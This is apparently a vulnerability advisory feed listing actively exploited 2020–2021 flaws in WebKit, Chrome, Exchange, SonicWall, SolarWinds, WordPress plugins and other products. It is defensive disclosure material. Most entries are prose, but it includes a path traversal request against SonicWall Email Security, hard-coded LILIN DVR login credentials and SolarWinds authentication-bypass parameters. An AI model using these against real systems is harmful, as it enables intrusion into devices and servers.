The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error in WebKit. A remote attacker can create a specially crafted web page, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Apple macOS
CVE-2021-30663

Integer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to integer overflow in WebKit. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger integer overflow and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: macOS

Multiple vulnerabilities in Apple macOS
CVE-2021-30665

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error in WebKit. A remote attacker can create a specially crafted web page, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: macOS

Multiple vulnerabilities in macOS
CVE-2021-30661

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error when processing web content within the WebKit Storage component. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger a use-after-free error and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: macOS

Multiple vulnerabilities in macOS
CVE-2021-30657

Security features bypass

The vulnerability allows a remote attacker to bypass implemented security restrictions.

The vulnerability exists due to a logic issue within the Gatekeeper checks. A remote attacker can craft a specially crafted payload that is not checked by Gatekeeper and bypasses File Quarantine and Application Notarization protections as well. As a result, a malicious binary can be executed on the system.

Note, the vulnerability is being actively exploited in the wild.

i

The Jamf Protect detections team observed this exploit being used in the wild by a variant of the Shlayer adware dropper, as early as January 9th, 2021.

Software: macOS

Known/fameous malware:

Shlayer

The Jamf Protect detections team observed this exploit being used in the wild by a variant of the Shlayer adware dropper, as early as January 9th, 2021.

Path traversal in SonicWall Email Security
CVE-2021-20023

Path traversal

The vulnerability allows a remote user to perform directory traversal attacks.

The vulnerability exists due to input validation error when processing directory traversal sequences within the "branding"  feature. A remote authenticated user can send a specially crafted HTTP request and read arbitrary files on the system with NT AUTHORITY\SYSTEM account.

Request example:

https://<SonicWall ES host>/dload_apps?action=<any value>&path=..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fcalc.exe&id=update

Note, the vulnerability is being actively exploited in the wild.

i

The vulnerability was used in a chained attack to compromise the vulnerable systems.

Software: SonicWall On-premise Email Security (ES)

The vulnerability was used in a chained attack to compromise the vulnerable systems.

Multiple vulnerabilities in Google Chrome
CVE-2021-21224

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error within the V8 browser engine in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Remote code execution in Pulse Connect Secure
CVE-2021-22893

Improper Authentication

The vulnerability allows a remote attacker to bypass authentication process and compromise the affected device.

The vulnerability exists due to multiple issues in web interface. A remote non-authenticated attacker can bypass authentication process and gain unauthorized access to the application via license server web services.

Successful exploitation of the vulnerability may allow an attacker to execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Pulse Connect Secure

Privilege escalation in Microsoft Windows
CVE-2021-28310

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within win32k.sys driver in Microsoft Windows. A local user can run a specially crafted program to trigger memory corruption and execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Multiple vulnerabilities in SonicWall On-premise Email Security (ES) and Hosted Email Security (HES)
CVE-2021-20022

Arbitrary file upload

The vulnerability allows a remote user to compromise vulnerable system.

The vulnerability exists due to insufficient validation of file during file upload within the branding feature. A remote administrator can upload a malicious ZIP archive to the system to an arbitrary location using directory traversal sequences in the filenames inside the uploaded archive and compromise the affected system.

Note, the vulnerability is being actively exploited in the wild.

i

The vulnerability was used in a chained attack to compromise the affected system.

Software: SonicWall On-premise Email Security (ES)

The vulnerability was used in a chained attack to compromise the affected system.

Multiple vulnerabilities in SonicWall On-premise Email Security (ES) and Hosted Email Security (HES)
CVE-2021-20021

Improper Authentication

The vulnerability allows a remote attacker to bypass authentication process.

The vulnerability exists due to an error in when processing authentication requests within the "/createou?data=", responsible for administration capabilities, specifically within the feature that allows application administrators to authorize an additional administrator account from a separate Microsoft Active Directory Organization Unit (AD OU). Requests to this form are not verified to require previous authentication to the appliance. A remote non-authenticated attacker can send a specially crafted XML document via HTTP GET or POST method, create a тАЬrole.ouadminтАЭ account and authenticate to the application as an administrator.

Note, the vulnerability is being actively exploited in the wild.

i

The vulnerability was used in a chained attack along with two other post-authentication vulnerabilities #VU52039 and #VU52377 to fully compromise the affected system.

Software: SonicWall On-premise Email Security (ES)

The vulnerability was used in a chained attack along with two other post-authentication vulnerabilities #VU52039 and #VU52377 to fully compromise the affected system.

Universal XSS in Apple iOS
CVE-2021-1879

Universal cross-site scripting

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data within the WebKit engine. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of arbitrary website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Google Chrome
CVE-2021-21193

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error within Blink component in Google Chrome. A remote attacker can create a specially crafted webpage, trick the victim into visiting it, trigger a use-after-free error and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, this vulnerability is being actively exploited in the wild.

Software: Google Chrome

Authentication bypass in The Plus Addons for Elementor for WordPress
CVE-2021-24175

Improper Authentication

The vulnerability allows a remote attacker to bypass authentication process.

The vulnerability exists due to an error in when processing authentication requests. A remote attacker can bypass authentication process and gain administrative access to the application.

Note, the vulnerability is being actively exploited in the wild.

Software: The Plus Addons for Elementor Page Builder

Multiple vulnerabilities in Samsung Mobile Firmware
CVE-2021-25370

Use-after-free

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to a boundary error within the dpu driver. A local application can trigger a use-after-free error and execute arbitrary code with kernel privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Samsung Mobile Firmware

Multiple vulnerabilities in Samsung Mobile Firmware
CVE-2021-25369

Improper access control

The vulnerability allows a local application to gain access to sensitive information.

The vulnerability exists due to improper access restrictions to the sec_log file. A local application can read the log file and obtain sensitive system information.

Note, the vulnerability is being actively exploited in the wild.

Software: Samsung Mobile Firmware

Multiple vulnerabilities in Samsung Mobile Firmware
CVE-2021-25337

Permissions, Privileges, and Access Controls

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to improper access control in clipboard service. A local application can use the clipboard service to read and write arbitrary files on the device.

Note, the vulnerability is being actively exploited in the wild.

Software: Samsung Mobile Firmware

Security restrictions bypass in Supermicro X10 UP-series Denlow motherboards

Security restrictions bypass

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to application does not properly impose security restrictions in BIOS firmware for X10 UP-series (H3 Single Socket тАЬDenlowтАЭ) motherboard. A local user can plant malware into motherboard firmware and establish permanent persistence on the system, even if OS is reinstalled.

Note, the vulnerability is being actively exploited in the wild by the TrickBoot malware.

Software: X10SLL-S/-SF, X10SL7-F, X10SLA-F, X10SLM+-LN4F, X10SLM+-F, X10SLL+-F, X10SLM-F, X10SLL-F, X10SLH-F

Known/fameous malware:

TrickBoot

Multiple vulnerabilities in Microsoft Exchange Server
CVE-2021-26855

Server-Side Request Forgery (SSRF)

The vulnerability allows a remote attacker to execute arbitrary code on the system.

The vulnerability exists due to insufficient validation of user-supplied input. A remote attacker can send specially crafted HTTP request to the Microsoft Exchange OWA interface, upload arbitrary file on the server and execute it.

Note, this vulnerability is being actively exploited in the wild.

Software: Microsoft Exchange Server

Multiple vulnerabilities in Microsoft Exchange Server
CVE-2021-26857

Input validation error

The vulnerability allows a remote attacker to execute arbitrary code on the system.

The vulnerability exists due to insufficient validation of user-supplied input. A remote attacker can send specially crafted data to the Exchange server and execute arbitrary code on the system.

Note, this vulnerability is being actively exploited in the wild.

Software: Microsoft Exchange Server

Multiple vulnerabilities in Microsoft Exchange Server
CVE-2021-26858

Input validation error

The vulnerability allows a remote attacker to execute arbitrary code on the system.

The vulnerability exists due to insufficient validation of user-supplied input. A remote attacker can send specially crafted data to the Exchange server and execute arbitrary code on the system.

Note, this vulnerability is being actively exploited in the wild.

Software: Microsoft Exchange Server

Multiple vulnerabilities in Microsoft Exchange Server
CVE-2021-27065

Input validation error

The vulnerability allows a remote attacker to execute arbitrary code on the system.

The vulnerability exists due to insufficient validation of user-supplied input. A remote attacker can send specially crafted data to the Exchange server and execute arbitrary code on the system.

Note, this vulnerability is being actively exploited in the wild.

Software: Microsoft Exchange Server

Multiple vulnerabilities in Google Chrome
CVE-2021-21166

Improper control of a resource through its lifetime

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to improper control of object lifetime in audio in Google Chrome. A remote attacker can trick the victim to visit a specially crafted webpage, trigger a stack-based buffer overflow and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Multiple vulnerabilities in Adobe Reader and Acrobat
CVE-2021-21017

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing PDF files. A remote attacker can create a specially crafted PDf file, trick the victim into opening it, trigger a heap-based buffer overflow and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Adobe Reader

Privilege escalation in Microsoft Windows
CVE-2021-1732

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error when the Win32k.sys driver in Windows kernel. A local user can run a specially crafted program to trigger memory corruption and execute arbitrary code on the system with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in Microsoft Internet Explorer
CVE-2021-26411

Double Free

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing ".mht" files. A remote attacker can trick the victim to visit a specially crafted webpage, trigger a double free error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

i

The vulnerability was used by the Lazarus group to target security researchers worldwide.

Software: Microsoft Internet Explorer

The vulnerability was used by the Lazarus group to target security researchers worldwide.

Remote code execution in Google Chrome
CVE-2021-21148

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within the V8 engine in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into opening it, trigger heap-based buffer overflow and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Multiple vulnerabilities in Apple iOS and iPadOS
CVE-2021-1870

Business Logic Errors

The vulnerability allows a remote attacker to execute arbitrary code on the system.

The vulnerability exists due to a logic issue in the WebKit component. A remote attacker can trick a victim to visit a malicious website and execute arbitrary code on the system.

Note: The vulnerability is being actively exploited in the wild.

Software: Apple iOS, iPadOS

Multiple vulnerabilities in Apple iOS and iPadOS
CVE-2021-1871

Business Logic Errors

The vulnerability allows a remote attacker to execute arbitrary code on the system.

The vulnerability exists due to a logic issue in the WebKit component. A remote attacker can trick a victim to visit a malicious website and execute arbitrary code on the system.

Note: The vulnerability is being actively exploited in the wild.

Software: Apple iOS, iPadOS

Multiple vulnerabilities in Apple iOS and iPadOS
CVE-2021-1782

Race condition

The vulnerability allows a remote attacker to escalate privileges on the system.

The vulnerability exists due to a race condition in the Kernel component. A remote attacker can use a malicious application and escalate privileges on the system.

Note: The vulnerability is being actively exploited in the wild.

Software: Apple iOS, iPadOS

SQL injection in SonicWall SMA100
CVE-2021-20016

SQL injection

The vulnerability allows a remote attacker to execute arbitrary SQL queries in database.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote non-authenticated attacker can send a specially crafted HTTP request to the SSL-VPN appliance and execute arbitrary SQL commands within the application database.

Successful exploitation of this vulnerability may allow a remote attacker to access usernames, passwords and other session related information.

Note, the vulnerability is being actively exploited in the wild.

i

SonicWall identified a coordinated attack on its internal systems by highly sophisticated threat actors exploiting zero-day vulnerabilities on certain SonicWall secure remote access products.

At this point both SMA 100 and NetExtender VPN Client are considered affected. Investigation of the incident is still ongoing.

Software: SMA 100

SonicWall identified a coordinated attack on its internal systems by highly sophisticated threat actors exploiting zero-day vulnerabilities on certain SonicWall secure remote access products.

At this point both SMA 100 and NetExtender VPN Client are considered affected. Investigation of the incident is still ongoing.

Remote code execution in Microsoft Defender
CVE-2021-1647

Input validation error

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to insufficient validation of user-supplied input. A remote attacker can pass specially crafted input to the application and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows Defender

SQL injection in Accellion FTA

SQL injection

The vulnerability allows a remote attacker to execute arbitrary SQL queries in database.

The vulnerability exists due to insufficient sanitization of user-supplied data passed to the web interface. A remote non-authenticated attacker can send a specially crafted request to the affected application and execute arbitrary SQL commands within the application database.

Successful exploitation of this vulnerability may allow a remote attacker to read, delete, modify data in database and gain complete control over the affected application.

Note, the vulnerability is being actively exploited in the wild in mid-December 2020 and January 2021.

i

The vulnerability was used to compromise several companies worldwide, such as Reserve Bank of New Zealand, the Australian Securities and Investments Commission (ASIC), law firm Allens, the University of Colorado, the Washington State Auditor Office, and the QIMR Berghofer Medical Research Institute and Singtel.

The attacks were detected in the mid_December 2020 and continued in January 2021.

Software: Accellion FTA

The vulnerability was used to compromise several companies worldwide, such as Reserve Bank of New Zealand, the Australian Securities and Investments Commission (ASIC), law firm Allens, the University of Colorado, the Washington State Auditor Office, and the QIMR Berghofer Medical Research Institute and Singtel.

The attacks were detected in the mid_December 2020 and continued in January 2021.

Authentication bypass in SolarWinds Orion API
CVE-2020-10148

Improper Authentication

The vulnerability allows a remote attacker to bypass authentication process.

The vulnerability exists due to an error in when processing authentication requests within the SolarWinds Orion API. If an attacker appends a PathInfo parameter of WebResource.adx, ScriptResource.adx, i18n.ashx, or Skipi18n to a request to a SolarWinds Orion server, SolarWinds may set the SkipAuthorization flag, which may allow the API request to be processed without requiring authentication. This vulnerability could allow a remote non-authenticated attacker to bypass authentication and execute API commands which may result in a compromise of the SolarWinds instance.

Note, this vulnerability is dubbed SUPERNOVA and is being exploited in the wild.

i


Software: Orion Platform

Known/fameous malware:

SUPERNOVA


Backdoor in SolarWinds Orion Platform

Embedded malicious code (backdoor)

The vulnerability allows a remote attacker to gain unauthorized access to the application.

The vulnerability exists due to presence of embedded malicious functionality in the application code (aka backdoor) that allows a remote attacker to gain unauthorized access to the application.

According to SolarWinds, Orion Platform software builds for versions 2019.4 HF 5 through 2020.2.1 are affected.

Note, this vulnerability is being actively exploited in the wild in a supply chain attack and is dubbed SUNBURST.

i

State-backed hackers are targeting government entities and private businesses all over the world in a global supply chain attack, in which they deploy a malicious SolarWinds update to compromise networks, according to a new report from the cybersecurity firm FireEye.

Known/fameous malware:

Behavior:Win32/Solorigate.C!dha

State-backed hackers are targeting government entities and private businesses all over the world in a global supply chain attack, in which they deploy a malicious SolarWinds update to compromise networks, according to a new report from the cybersecurity firm FireEye.

Improper access control in Easy WP SMTP plugin for WordPress

Improper access control

The vulnerability allows a remote attacker to gain unauthorized access to otherwise restricted functionality.

The vulnerability exists due to improper access restrictions. A remote attacker can access the debug log after the password reset, grab the reset link and take over the admin account.

Note: The vulnerability is being actively exploited in the wild.

i

This vulnerability allows a remote attacker to reset admin account passwords. 

Software: Easy WP SMTP

This vulnerability allows a remote attacker to reset admin account passwords. 

Multiple vulnerabilities in Google Chrome
CVE-2020-16017

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error within the site isolation component in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger use-after-free error and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Multiple vulnerabilities in Google Chrome
CVE-2020-16013

Improperly implemented security check for standard

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to incorrect implementation in V8 in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it and compromise the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Multiple vulnerabilities in Apple macOS
CVE-2020-27950

Out-of-bounds read

The vulnerability allows a local user to gain access to potentially sensitive information.

The vulnerability exists due to a boundary condition within macOS kernel. A local user can run a specially crafted program to gain access to sensitive kernel information on the system.

Note, this vulnerability is being actively exploited in the wild.

Software: macOS

Multiple vulnerabilities in Apple macOS
CVE-2020-27932

Type Confusion

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a type confusion error in macOS kernel. A local user can run a specially crafted application to trigger a type confusion error and execute arbitrary code with elevated privileges.

Note, this vulnerability is being actively exploited in the wild.

Software: macOS

Multiple vulnerabilities in Apple macOS
CVE-2020-27930

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing fonts within the FontParser component. A remote attacker can create a specially crafted document or web page, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, this vulnerability is being actively exploited in the wild.

Software: macOS

Remote code execution in Google Chrome for Android
CVE-2020-16010

Heap-based buffer overflow

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to a heap-based buffer overflow when processing untrusted HTML content in UI in Google Chrome on Android. An remote attacker, who had compromised the renderer process, can  perform a sandbox escape via a crafted HTML page.

Successful exploitation of the vulnerability may allow an attacker to compromise the affected system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome for Android

Multiple vulnerabilities in Google Chrome
CVE-2020-16009

Improperly implemented security check for standard

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to incorrect implementation in V8 engine in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it and compromise the system.

Note, this vulnerability is being actively exploited in the wild.

Software: Google Chrome

Memory corruption in Windows kernel driver
CVE-2020-17087

Buffer overflow

The vulnerability allows a local user to escalate privilege son the system.

The vulnerability exists due to a boundary error within the Windows Kernel Cryptography Driver cng.sys, which exposes a "\Device\CNG" device to user-mode programs and supports a variety of IOCTLs with non-trivial input structures. A local user can run a specially crafted program to trigger memory corruption and execute arbitrary code on the system with elevated privileges.

Note, this vulnerability is being actively exploited in the wild.

i

This vulnerability was used in a trageted attacks along with the #VU47741 issue in FreeType library to attack users of Google Chrome.

Software: Windows

This vulnerability was used in a trageted attacks along with the #VU47741 issue in FreeType library to attack users of Google Chrome.

Multiple vulnerabilities in Oracle Solaris
CVE-2020-14871

Improper input validation

The vulnerability allows a remote non-authenticated attacker to execute arbitrary code.

The vulnerability exists due to improper input validation within the Pluggable authentication module (PAM) component in Oracle Solaris. A remote non-authenticated attacker can exploit this vulnerability to execute arbitrary code.

Note, this vulnerability is being actively exploited in the wild.

i

According to FireEye, the vulnerability is being exploited in the wild by the actor tracked as UNC1945.

Software: Oracle Solaris

According to FireEye, the vulnerability is being exploited in the wild by the actor tracked as UNC1945.

Remote code execution in FreeType library
CVE-2020-15999

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error in freetype library when processing TTF files. A remote attacker can pass specially crafted TTF file with PNG sbit glyphs to the application, trigger heap-based buffer overflow and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, this vulnerability is being actively exploited in the wild.

Software: FreeType

Arbitrary file upload in File Manager plugin for WordPress
CVE-2020-25213

Arbitrary file upload

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to insufficient validation of file during file upload in wp-file-manager in the "lib/php/connector.minimal.php" and "lib/files/hardfork.php" files. A remote attacker can upload a malicious file and execute it on the server.

Note: The vulnerability is being actively exploited in the wild.┬а

i

The vulnerability exploitation was detected on September 1st, 2020. The attackers can remotely upload arbitrary files and execute arbitrary code.

Software: File Manager

The vulnerability exploitation was detected on September 1st, 2020. The attackers can remotely upload arbitrary files and execute arbitrary code.

Denial of service in Cisco IOS XR Software
CVE-2020-3569

Resource exhaustion

The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.

The vulnerability exists due to insufficient queue management for Internet Group Management Protocol (IGMP) packets in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco┬аIOS XR Software. A remote attacker can trigger resource exhaustion by sending crafted IGMP┬а traffic to the affected device and perform a denial of service (DoS) attack.

Note: this vulnerability is being actively exploited in the wild.
Not patched
i

On August 31 Cisco has updated the original advisory to indicate the second vulnerability exploited in the wild.

Software: Cisco IOS XR

On August 31 Cisco has updated the original advisory to indicate the second vulnerability exploited in the wild.

Denial of service in Cisco IOS XR Software
CVE-2020-3566

Resource exhaustion

The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.

The vulnerability exists due to insufficient queue management for Internet Group Management Protocol (IGMP) packets in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco┬аIOS XR Software. A remote attacker can trigger resource exhaustion by sending crafted IGMP┬а traffic to the affected device and perform a denial of service (DoS) attack.

Note: this vulnerability is being actively exploited in the wild.

Not patched
i

On August 28, 2020, the Cisco Product Security Incident Response Team (PSIRT) became aware of attempted exploitation of this vulnerability in the wild.

Software: Cisco IOS XR

On August 28, 2020, the Cisco Product Security Incident Response Team (PSIRT) became aware of attempted exploitation of this vulnerability in the wild.

Remote code execution in Microsoft Internet Explorer
CVE-2020-1380

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within the scripting engine. A remote attacker can create a specially crafted webpage, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

Software: Microsoft Internet Explorer

Signature spoofing in Microsoft Windows
CVE-2020-1464

Cryptographic issues

The vulnerability allows a remote attacker to bypass implemented security restrictions.

The vulnerability exists due to Windows incorrectly validates file signatures. A remote attacker can create a specially crafted file to bypass implemented security restrictions and successfully load a malicious file.

Note: this vulnerability is being actively exploited in the wild.

Software: Windows

Stored cross-site scripting in Login/Signup Popup plugin for WordPress

Stored cross-site scripting

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote authenticated attacker can inject and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note: The vulnerability is being actively exploited in the wild.

i

The vulnerability exploitation was detected on May 14, 2020. The authenticated attackers can inject, via the AJAX API, JavaScript code into the pluginтАЩs settings and use it to target the administrator in the backend of WordPress.

Software: Login/Signup Popup ( Inline Form + Woocommerce )

The vulnerability exploitation was detected on May 14, 2020. The authenticated attackers can inject, via the AJAX API, JavaScript code into the pluginтАЩs settings and use it to target the administrator in the backend of WordPress.

Remote code execution in Elementor Pro plugin for WordPress

Arbitrary file upload

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to insufficient validation of file during file upload. A remote authenticated attacker can upload a malicious file and execute it on the blog.

This vulnerability is exploitable if users have open registration, hovewer in conjunction with a vulnerability in Ultimate Addons for Elementor (SB2020051119), it is possible to be exploited, even if the site does not have user registration enabled.

Note: The vulnerability is being actively exploited in the wild.

i

The vulnerability exploitation was detected on May 06, 2020. The attackers can remotely execute arbitrary code.

Software: Elementor Pro

The vulnerability exploitation was detected on May 06, 2020. The attackers can remotely execute arbitrary code.

SQL injection in Sophos XG Firewall/SFOS
CVE-2020-12271

SQL injection

The vulnerability allows a remote attacker to execute arbitrary SQL queries in database.

The vulnerability exists due to insufficient sanitization of user-supplied data passed to the User Portal or Admin interfaces. A remote non-authenticated attacker can send a specially crafted request to the affected application and execute arbitrary SQL commands within the application database.

Successful exploitation of this vulnerability may allow a remote attacker to read, delete, modify data in database and gain complete control over the affected application.

Note, this vulnerability is being actively exploited in the wild.

i

The vulnerability exploitation was detected on April 22, 2020. Malware dubbed Asnar├╢k used SQL injection vulnerability to compromise the affected devices and steal users' credentials.

Software: Sophos Firewall

Known/fameous malware:

Asnar├╢k

The vulnerability exploitation was detected on April 22, 2020. Malware dubbed Asnar├╢k used SQL injection vulnerability to compromise the affected devices and steal users' credentials.

Remote code execution in Apple iOS

Out-of-bounds write

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error when processing email in the iOS MobileMail. A remote attacker can send a specially crafted email message, trigger an out-of-bounds write and execute arbitrary code on the target system. No user interaction is required to execute arbitrary code.

Note, this vulnerability is being actively exploited in the wild.

Not patched
i

According to security researchers this vulnerability is being actively exploited since January 2018.

Software: Apple iOS

According to security researchers this vulnerability is being actively exploited since January 2018.

Privilege escalation in Microsoft Windows
CVE-2020-1027

Buffer overflow

The vulnerability allows a local user to escalate privilege so the system.

The vulnerability exists due to a boundary error in the Windows Kernel when handling objects in memory. A local user can use a specially crafted application, trigger memory corruption and execute arbitrary code on the target system with elevated privileges.

Note, this vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in Mozilla Firefox and Firefox ESR
CVE-2020-6820

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error caused by a race condition handling ReadableStream. A remote attacker can create a specially crafted website, trick the victim into visiting it, trigger a use-after-free error and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, this vulnerability is being actively exploited in the wild in targeted attacks.

Software: Mozilla Firefox

Remote code execution in Mozilla Firefox and Firefox ESR
CVE-2020-6819

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error caused by a race condition running the nsDocShell destructor. A remote attacker can create a specially crafted website, trick the victim into visiting it, trigger a use-after-free error and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, this vulnerability is being actively exploited in the wild in targeted attacks.

Software: Mozilla Firefox

Remote code execution in Adobe Type Manager Library in Microsoft Windows
CVE-2020-0938

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within the Windows Adobe Type Manager Library when parsing a specially-crafted multi-master font - Adobe Type 1 PostScript format. A remote attacker can create a specially crafted document, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, this vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in Adobe Type Manager Library in Microsoft Windows
CVE-2020-1020

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within the Windows Adobe Type Manager Library when parsing a specially-crafted multi-master font - Adobe Type 1 PostScript format. A remote attacker can create a specially crafted document, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, this vulnerability is being actively exploited in the wild.

Software: Windows

Multiple vulnerabilities in Merit LILIN DVR devices

Use of hard-coded credentials

The vulnerability allows a remote attacker to gain full access to vulnerable system.

The vulnerability exists due to presence of hard-coded credentials in application code. A remote unauthenticated attacker can access the affected system using the hard-coded credentials.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Hard-coded accounts:

root/icatch99
report/8Jg0SR8K50

Note, this vulnerability is being actively exploited in the wild since August 2019.

i

The vulnerability exploitation was uncovered by 360Netlab in August 2019.  Several attack groups were using vulnerabilities in Lilin DVR firmware spread Chalubo, FBot, and Moobot botnets.

Software: DHD216A, DHD216, DHD208A, DHD208, DHD204A, DHD204, DHD304A, DHD308A, DHD316A, DHD504A, DHD508A, DHD516A

Known/fameous malware:

Chalubo, FBot, Moobot

The vulnerability exploitation was uncovered by 360Netlab in August 2019.  Several attack groups were using vulnerabilities in Lilin DVR firmware spread Chalubo, FBot, and Moobot botnets.

Multiple vulnerabilities in Trend Micro Apex One and OfficeScan
CVE-2020-8468

Input validation error

The vulnerability allows a remote attacker to compromise the target system.

The vulnerability exists due to a content validation escape issue. A remote authenticated attacker can pass specially crafted input to the application and manipulate certain agent client components.

Note: the vulnerability is being actively exploited in the wild.

i

Vendor reports in the wild exploitation of this vulnerability.

Software: Apex One

Vendor reports in the wild exploitation of this vulnerability.

Multiple vulnerabilities in Trend Micro Apex One and OfficeScan
CVE-2020-8467

Code Injection

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation in the migration tool component. A remote authenticated attacker can send a specially crafted request and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: the vulnerability is being actively exploited in the wild.

i

Vendor reports in the wild exploitation of this vulnerability.

Software: OfficeScan

Vendor reports in the wild exploitation of this vulnerability.

